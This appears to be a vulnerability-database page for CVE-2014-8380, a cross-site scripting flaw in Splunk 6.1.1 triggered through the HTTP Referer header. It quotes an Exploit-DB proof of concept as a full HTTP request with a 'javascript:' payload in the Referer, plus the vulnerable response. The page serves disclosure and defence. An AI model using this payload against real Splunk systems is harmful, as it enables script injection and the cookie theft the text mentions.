CVE-2014-8380

medium
Published 2014-10-21 ยท Modified 2026-05-06
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
5.3

Description

Cross-site scripting (XSS) vulnerability in Splunk 6.1.1 allows remote attackers to inject arbitrary web script or HTML via the HTTP Referer Header in a "404 Not Found" response. NOTE: this vulnerability might exist because of a CVE-2010-2429 regression.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-40997 webapps php text ยท 1 KB
justpentest ยท 2017-01-07

Splunk 6.1.1 - 'Referer' Header Cross-Site Scripting

text exploit Source: Exploit-DB
# Exploit Title: Splunk 'Referer' Header Cross Site Scripting Vulnerability
# Date: 7th January 2017
# Exploit Author: justpentest
# Vendor Homepage: http://www.splunk.com/
# Version: Splunk 6.1.1 other versions may also be affected.
# Contact: transform2secure@gmail.com


Source: https://www.securityfocus.com/bid/67655/info
 
1) Description:
Splunk is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
2) Exploit:
 
URL: http://justpentest.com:8000/en-US/app/
 
GET /en-US/app/ HTTP/1.1
Host=justpentest.com:8000
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-US,en;q=0.5
Accept-Encoding=gzip, deflate
Referer=javascript:prompt("XXS by justpentest");
Connection=keep-alive
----------------------------------------------------------------------------------------
Response:
 <p>This page was linked to from <a href="javascript:prompt("XXS by justpentest");">javascript:prompt("XXS by justpentest");</a>.</p>

Application impact

VendorProductVersionsFixed
splunksplunk6.1.1

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.